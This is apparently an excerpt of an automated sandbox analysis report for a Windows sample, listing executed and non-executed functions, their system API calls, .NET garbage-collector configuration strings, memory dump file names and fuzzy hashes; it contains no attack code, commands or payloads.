FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C5BB7D0F,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BBCCCB

Part of subcall function 00007FF7C5BC2760: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC276F
Part of subcall function 00007FF7C5BC2760: GetNumaHighestNodeNumber.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27AD
Part of subcall function 00007FF7C5BC2760: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27D9
Part of subcall function 00007FF7C5BC2760: GetProcessGroupAffinity.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27EA
Part of subcall function 00007FF7C5BC2760: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C5BBCCEA), ref: 00007FF7C5BC27F9

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C5BB7D0F,?,?,?,?,?,?,00007FF7C5BB1C00), ref: 00007FF7C5BBCD3D
GetProcessAffinityMask.KERNEL32 ref: 00007FF7C5BBCD50
QueryInformationJobObject.KERNEL32 ref: 00007FF7C5BBCD9E

Strings

PROCESSOR_COUNT, xrefs: 00007FF7C5BBCD06

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Process$AffinityCurrent$AllocErrorGroupHighestInfoInformationLastMaskNodeNumaNumberObjectQuerySystem
String ID: PROCESSOR_COUNT
API String ID: 1701933505-4048346908
Opcode ID: df59b9fccf507002a6fc365712127db3b91d70bddeca77e829d668f229e319f7
Instruction ID: 004413651309de67326b668b69493f3d4a402b76122355c904d98c052f261e8c
Opcode Fuzzy Hash: df59b9fccf507002a6fc365712127db3b91d70bddeca77e829d668f229e319f7
Instruction Fuzzy Hash: 2D31B635A08A4382EB54FF54D4822B9EB61EF90B64FC40031DA8D47695DF7EF408C7A4

Function 00007FF7C5BB3200 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7C5C626E0), ref: 00007FF7C5BB32A5
RaiseFailFastException.KERNEL32(?,?,?,00007FF7C5C626E0), ref: 00007FF7C5BB32D1
RaiseFailFastException.KERNEL32(?,?,?,00007FF7C5C626E0), ref: 00007FF7C5BB330A

Strings

Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code., xrefs: 00007FF7C5BB32F6

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ExceptionFailFastRaise$Sleep
String ID: Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code.
API String ID: 3706814929-926682358
Opcode ID: f0ad88474fe839b686b509391016526058ed6e238c5a0b46c6db29e8ccb78c36
Instruction ID: 9c0181d9e56d7b60a45a41549ac1a38b2d7f80e31004d3f8f93ff014d6e13037
Opcode Fuzzy Hash: f0ad88474fe839b686b509391016526058ed6e238c5a0b46c6db29e8ccb78c36
Instruction Fuzzy Hash: CE414A32A09A42C6EBA0BF19E480379B7A0AF04FA4F844039CE0D43395DF7FE545C2A4

Function 00007FF7C5BBCF20 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00007FF7C5BBCF41
SetThreadPriority.KERNELBASE ref: 00007FF7C5BBCF5D
ResumeThread.KERNELBASE ref: 00007FF7C5BBCF66
FindCloseChangeNotification.KERNELBASE ref: 00007FF7C5BBCF6F

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Thread$ChangeCloseCreateFindNotificationPriorityResume
String ID:
API String ID: 2150560229-0
Opcode ID: 4a56b605204c313bed2949cdee0fbdf40efa17fe1b8a4b6ea1de50fcfb5e3b56
Instruction ID: 4dc650ec37378bbf54b39c0e809a7f84d61e53fc062b7c01227d5b8721264f87
Opcode Fuzzy Hash: 4a56b605204c313bed2949cdee0fbdf40efa17fe1b8a4b6ea1de50fcfb5e3b56
Instruction Fuzzy Hash: F2E06DB5A1570282EB18AF21A8183399350BFD8F95F884134DE4E073A0EE3E91558A14

Function 00007FF7C5BC2140 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7C5BC2177
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7C5BC223C

Strings

@, xrefs: 00007FF7C5BC2234

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CurrentGlobalMemoryProcessStatus
String ID: @
API String ID: 3261791682-2766056989
Opcode ID: 28461a306fc3374e589f1644d5753cbf3d64b28f9de3a6a1dcdcbb79d88f20ec
Instruction ID: 0efc293edd42f254686d7279f196e1723198f3f0a0920ad972fe2505384fb731
Opcode Fuzzy Hash: 28461a306fc3374e589f1644d5753cbf3d64b28f9de3a6a1dcdcbb79d88f20ec
Instruction Fuzzy Hash: D041E161A09F4641E956DE369110339DA52AF49FE0F588631DD8F6A744FF3EF4818620

Function 00007FF7C5BC899B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00007FF7C5BC89FE
GetTickCount64.KERNEL32 ref: 00007FF7C5BC8A83

Strings

D), xrefs: 00007FF7C5BC8B27

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Count64Tick
String ID: D)
API String ID: 1927824332-848725745
Opcode ID: b9fe4c2506f08c6a26c8c4dd7f3f4db5274bf5845df2519089e1e6bba78dcdb3
Instruction ID: e267216e8a43850993a323c03df23c1c55eaabb7050d2d9be254b065021bb08d
Opcode Fuzzy Hash: b9fe4c2506f08c6a26c8c4dd7f3f4db5274bf5845df2519089e1e6bba78dcdb3
Instruction Fuzzy Hash: EB416A32A08B4295FB61BF25E484279EB90AF00FA4F984432E94E477A5DE3FF4418374

Function 00007FF7C5BC29E0 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,00000000,00007FF7C5BC6538,?,?,0000000B,00007FF7C5BC5400,?,?,00000000,00007FF7C5BBF7C1), ref: 00007FF7C5BC2A07
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,00007FF7C5BC6538,?,?,0000000B,00007FF7C5BC5400,?,?,00000000,00007FF7C5BBF7C1), ref: 00007FF7C5BC2A27
VirtualAllocExNuma.KERNEL32 ref: 00007FF7C5BC2A48

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: AllocVirtual$CurrentNumaProcess
String ID:
API String ID: 647533253-0
Opcode ID: 625f1e7399fc93da6f37fa1e0330fb08ecf441602bb64bf0d621cc29f3cf2d2c
Instruction ID: 1c5a5d734585737dc6b1fa4588b6417aafba5df2b90c89fc528ad7a036b1bb60
Opcode Fuzzy Hash: 625f1e7399fc93da6f37fa1e0330fb08ecf441602bb64bf0d621cc29f3cf2d2c
Instruction Fuzzy Hash: 7BF0AF71B0869182EB209F06F440219E760AB89FE4F884138EF8C17B58DB3ED5818B04

Function 00007FF7C5BC29A0 Relevance: 2.5, APIs: 2, Instructions: 17
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF7C5BC29B6
VirtualFree.KERNELBASE ref: 00007FF7C5BC29CC

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: df8486f038e79b547ccdb021daa754100f3a5205bbaa03da553d2b0464387378
Instruction ID: 80c735884ffe4e0a5b86d2a38f684764d1df4fd2e1aaca594f31879517204837
Opcode Fuzzy Hash: df8486f038e79b547ccdb021daa754100f3a5205bbaa03da553d2b0464387378
Instruction Fuzzy Hash: 39E01234F167018AFB58BF13A886665A6516F9DF11FC48038C40D47790DE2FA65ADF60

Function 00007FF7C5C41B50 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(?,?,?,?,00000030,?,?,?,?,?,?,?,00007FF7C5C41A10,?,?,00000030), ref: 00007FF7C5C41BC9

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 90758f69fcf1388e0b70db958e236ce2b2d0b74138699664a50d809a000787a9
Instruction ID: 327ef974e76bb2856be4a85870e7fb5f7bbc09d3f5b9877ff48c2f1245e462cc
Opcode Fuzzy Hash: 90758f69fcf1388e0b70db958e236ce2b2d0b74138699664a50d809a000787a9
Instruction Fuzzy Hash: 2531E123E08A0355FB21BF51E8407BDE2616F80FA4F840032DE4D1B796DE6EA881C360

Function 00007FF7C5BB26B0 Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C5BBCA30: GetCurrentThreadId.KERNEL32 ref: 00007FF7C5BBCA34

Part of subcall function 00007FF7C5BBE230: VirtualQuery.KERNEL32 ref: 00007FF7C5BBE262

RaiseFailFastException.KERNEL32 ref: 00007FF7C5BB2736

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CurrentExceptionFailFastQueryRaiseThreadVirtual
String ID:
API String ID: 2131581837-0
Opcode ID: 8a906362c82a65a07e00605dfb93312dc942a46eb36c422177fca489e41fede8
Instruction ID: bcb7d17ed1cae6b94188c2820d29c52968152612f8194354bad818906ffbecae
Opcode Fuzzy Hash: 8a906362c82a65a07e00605dfb93312dc942a46eb36c422177fca489e41fede8
Instruction Fuzzy Hash: 5F118C72908B8282EB24EF25A40419AB720FB45BB0F844338EBBE177D6DF79D0028700

Function 00007FF7C5BC2A70 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF7C5BC2A7A

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 466d4d9c988fe849325ae7168e876d2e859bac2774cb7984135f3943153e00f4
Instruction ID: 434d718f0bcf62ea45e6a1af2cbe92c86112c3e9d9855f812a2dde4fe6cc32ba
Opcode Fuzzy Hash: 466d4d9c988fe849325ae7168e876d2e859bac2774cb7984135f3943153e00f4
Instruction Fuzzy Hash: 1FB01220F16201C6E3043B237CC274802142B45F12FC40038C608A1290CD1E81E51F10

Non-executed Functions

Function 00007FF7C5BC2D00 Relevance: 123.1, Strings: 98, Instructions: 569COMMON

Download Yara Rule

Strings

System.GC.HighMemoryPercent, xrefs: 00007FF7C5BC30C3
BGCFLki, xrefs: 00007FF7C5BC3355
BGCMemGoalSlack, xrefs: 00007FF7C5BC32DD
System.GC.NoAffinitize, xrefs: 00007FF7C5BC2DF0
LogEnabled, xrefs: 00007FF7C5BC2E15
System.GC.HeapCount, xrefs: 00007FF7C5BC2F5C
ForceCompact, xrefs: 00007FF7C5BC2D89
System.GC.HeapHardLimitPOHPercent, xrefs: 00007FF7C5BC3585
GCTotalPhysicalMemory, xrefs: 00007FF7C5BC31A1
BGCFLSweepGoalLOH, xrefs: 00007FF7C5BC3319
GCPath, xrefs: 00007FF7C5BC365C, 00007FF7C5BC367F
Gen0Size, xrefs: 00007FF7C5BC2FA0
GCHeapHardLimitSOHPercent, xrefs: 00007FF7C5BC3550
System.GC.DTargetTCP, xrefs: 00007FF7C5BC36DF
BGCFLkd, xrefs: 00007FF7C5BC3373
System.GC.LargePages, xrefs: 00007FF7C5BC2EA8
GCGen0MaxBudget, xrefs: 00007FF7C5BC3103
BGCFLEnableFF, xrefs: 00007FF7C5BC349F, 00007FF7C5BC35E7
GCProvModeStress, xrefs: 00007FF7C5BC30E5
GCGen1MaxBudget, xrefs: 00007FF7C5BC3121
ConfigLogFile, xrefs: 00007FF7C5BC3273
MaxHeapCount, xrefs: 00007FF7C5BC2F8D
GCHeapHardLimitPercent, xrefs: 00007FF7C5BC318E
BGCFLEnableTBH, xrefs: 00007FF7C5BC3481
ConservativeGC, xrefs: 00007FF7C5BC2D68
GCHeapHardLimitPOHPercent, xrefs: 00007FF7C5BC3594
System.GC.HeapHardLimitSOHPercent, xrefs: 00007FF7C5BC3541
ConfigLogEnabled, xrefs: 00007FF7C5BC2E36
System.GC.DynamicAdaptationMode, xrefs: 00007FF7C5BC36BD
LatencyLevel, xrefs: 00007FF7C5BC2FFA
GCEnableSpecialRegions, xrefs: 00007FF7C5BC31FB
System.GC.HeapHardLimitSOH, xrefs: 00007FF7C5BC34DB
LatencyMode, xrefs: 00007FF7C5BC2FDC
GCHeapAffinitizeRanges, xrefs: 00007FF7C5BC3082, 00007FF7C5BC30A3
GCHighMemPercent, xrefs: 00007FF7C5BC30D2
System.GC.HeapAffinitizeMask, xrefs: 00007FF7C5BC3054
System.GC.MaxHeapCount, xrefs: 00007FF7C5BC2F7E
LogFileSize, xrefs: 00007FF7C5BC3018
GCSpinCountUnit, xrefs: 00007FF7C5BC369F
BGCFLSmoothFactor, xrefs: 00007FF7C5BC33AF
BGCFLTuningEnabled, xrefs: 00007FF7C5BC32A1
System.GC.HeapHardLimitPOH, xrefs: 00007FF7C5BC351F
BGCFLff, xrefs: 00007FF7C5BC3391
NoAffinitize, xrefs: 00007FF7C5BC2E02
BGCFLEnableKd, xrefs: 00007FF7C5BC3445
GCHeapHardLimit, xrefs: 00007FF7C5BC316C
GCDTargetTCP, xrefs: 00007FF7C5BC36EE
System.GC.HeapHardLimit, xrefs: 00007FF7C5BC315D
BGCFLEnableSmooth, xrefs: 00007FF7C5BC3463
System.GC.Path, xrefs: 00007FF7C5BC3655, 00007FF7C5BC366D
GCLowSkipRatio, xrefs: 00007FF7C5BC313F
GCNumaAware, xrefs: 00007FF7C5BC2E57
GCDynamicAdaptationMode, xrefs: 00007FF7C5BC36CC
CompactRatio, xrefs: 00007FF7C5BC3036
BGCMLkp, xrefs: 00007FF7C5BC33F6
GCHeapHardLimitSOH, xrefs: 00007FF7C5BC34EA
System.GC.ConserveMemory, xrefs: 00007FF7C5BC35C5
GCName, xrefs: 00007FF7C5BC360F, 00007FF7C5BC3632
HeapCount, xrefs: 00007FF7C5BC2F6B
ServerGC, xrefs: 00007FF7C5BC2D2A
ConcurrentGC, xrefs: 00007FF7C5BC2D55
GCConserveMem, xrefs: 00007FF7C5BC35D4
RetainVM, xrefs: 00007FF7C5BC2DBC
BGCSpin, xrefs: 00007FF7C5BC2F3E
BGCMLki, xrefs: 00007FF7C5BC3409
BGCFLSweepGoal, xrefs: 00007FF7C5BC32FB
BGCFLEnableKi, xrefs: 00007FF7C5BC3427
System.GC.Concurrent, xrefs: 00007FF7C5BC2D43
HeapVerifyLevel, xrefs: 00007FF7C5BC2EC2
GCRegionSize, xrefs: 00007FF7C5BC31DD
SegmentSize, xrefs: 00007FF7C5BC2FBE
BGCFLGradualD, xrefs: 00007FF7C5BC33CD
GCHeapAffinitizeMask, xrefs: 00007FF7C5BC3063
System.GC.HeapHardLimitPercent, xrefs: 00007FF7C5BC317F
GCRegionRange, xrefs: 00007FF7C5BC31BF
GCLogFile, xrefs: 00007FF7C5BC321E
System.GC.LOHThreshold, xrefs: 00007FF7C5BC2EFE
GCLargePages, xrefs: 00007FF7C5BC2EB2
System.GC.RetainVM, xrefs: 00007FF7C5BC2DAA
GCCpuGroup, xrefs: 00007FF7C5BC2E8A
System.GC.HeapHardLimitLOH, xrefs: 00007FF7C5BC34FD
BGCMemGoal, xrefs: 00007FF7C5BC32BF
BreakOnOOM, xrefs: 00007FF7C5BC2DCF
BGCFLkp, xrefs: 00007FF7C5BC3337
System.GC.HeapHardLimitLOHPercent, xrefs: 00007FF7C5BC356B
BGCG2RatioStep, xrefs: 00007FF7C5BC34BD
GCConfigLogFile, xrefs: 00007FF7C5BC3262
System.GC.HeapAffinitizeRanges, xrefs: 00007FF7C5BC3076, 00007FF7C5BC3097
LogFile, xrefs: 00007FF7C5BC322F
System.GC.Name, xrefs: 00007FF7C5BC3608, 00007FF7C5BC3620
GCHeapHardLimitLOHPercent, xrefs: 00007FF7C5BC3575
GCHeapHardLimitPOH, xrefs: 00007FF7C5BC352E
LOHCompactionMode, xrefs: 00007FF7C5BC2EE0, 00007FF7C5BC2F20
GCHeapHardLimitLOH, xrefs: 00007FF7C5BC350C
System.GC.Server, xrefs: 00007FF7C5BC2D1B
GCEnabledInstructionSets, xrefs: 00007FF7C5BC35A7
System.GC.CpuGroup, xrefs: 00007FF7C5BC2E78
LOHThreshold, xrefs: 00007FF7C5BC2F0D

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID: BGCFLEnableFF$BGCFLEnableKd$BGCFLEnableKi$BGCFLEnableSmooth$BGCFLEnableTBH$BGCFLGradualD$BGCFLSmoothFactor$BGCFLSweepGoal$BGCFLSweepGoalLOH$BGCFLTuningEnabled$BGCFLff$BGCFLkd$BGCFLki$BGCFLkp$BGCG2RatioStep$BGCMLki$BGCMLkp$BGCMemGoal$BGCMemGoalSlack$BGCSpin$BreakOnOOM$CompactRatio$ConcurrentGC$ConfigLogEnabled$ConfigLogFile$ConservativeGC$ForceCompact$GCConfigLogFile$GCConserveMem$GCCpuGroup$GCDTargetTCP$GCDynamicAdaptationMode$GCEnableSpecialRegions$GCEnabledInstructionSets$GCGen0MaxBudget$GCGen1MaxBudget$GCHeapAffinitizeMask$GCHeapAffinitizeRanges$GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent$GCHighMemPercent$GCLargePages$GCLogFile$GCLowSkipRatio$GCName$GCNumaAware$GCPath$GCProvModeStress$GCRegionRange$GCRegionSize$GCSpinCountUnit$GCTotalPhysicalMemory$Gen0Size$HeapCount$HeapVerifyLevel$LOHCompactionMode$LOHThreshold$LatencyLevel$LatencyMode$LogEnabled$LogFile$LogFileSize$MaxHeapCount$NoAffinitize$RetainVM$SegmentSize$ServerGC$System.GC.Concurrent$System.GC.ConserveMemory$System.GC.CpuGroup$System.GC.DTargetTCP$System.GC.DynamicAdaptationMode$System.GC.HeapAffinitizeMask$System.GC.HeapAffinitizeRanges$System.GC.HeapCount$System.GC.HeapHardLimit$System.GC.HeapHardLimitLOH$System.GC.HeapHardLimitLOHPercent$System.GC.HeapHardLimitPOH$System.GC.HeapHardLimitPOHP